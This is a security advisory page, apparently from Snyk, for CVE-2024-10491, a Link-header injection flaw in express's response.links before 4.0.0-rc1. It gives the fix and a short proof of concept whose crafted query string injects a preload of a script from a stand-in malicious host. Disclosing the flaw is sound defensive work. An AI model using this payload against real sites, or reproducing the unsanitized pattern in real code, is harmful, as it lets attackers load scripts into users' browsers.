Improper Neutralization of Special Elements in Output Used by a Downstream Component ('Injection') Affecting express package, versions <4.0.0-rc1


Severity

Recommended
0.0
medium
0
10

CVSS assessment made by Snyk's Security Team. Learn more

Threat Intelligence

Exploit Maturity
Proof of concept
EPSS
0.05% (19th percentile)

Do your applications use this vulnerable package?

In a few clicks we can analyze your entire application and see what components are vulnerable in your application, and suggest you quick fixes.

Test your applications
  • Snyk IDSNYK-JS-EXPRESS-8310337
  • published30 Oct 2024
  • disclosed29 Oct 2024
  • creditAbze

Introduced: 29 Oct 2024

CVE-2024-10491  (opens in a new tab)
CWE-74  (opens in a new tab)

How to fix?

Upgrade express to version 4.0.0-rc1 or higher.

Overview

express is a minimalist web framework.

Affected versions of this package are vulnerable to Improper Neutralization of Special Elements in Output Used by a Downstream Component ('Injection') through the response.links function. An attacker can inject arbitrary resources into the Link header by using unsanitized input that includes special characters such as commas, semicolons, and angle brackets.

PoC

var express = require('express')
var app = express()

app.get('/', function (req, res) {
  res.links({"preload": req.query.resource});
  if(req.query.resource){
    console.log(res.getHeaders().link)
  }
  res.send('ok');
});
  
app.listen(3000);

// note how the query param uses < > to load arbitrary resource
const maliciousQueryParam = '?resource=http://api.example.com/users?resource=>; rel="preload", <http://api.malicious.com/1.js>; rel="preload"; as="script", <http:/api.example.com';

const url = `http://localhost:3000/${maliciousQueryParam}`;
  
fetch(url);

CVSS Scores

version 4.0
version 3.1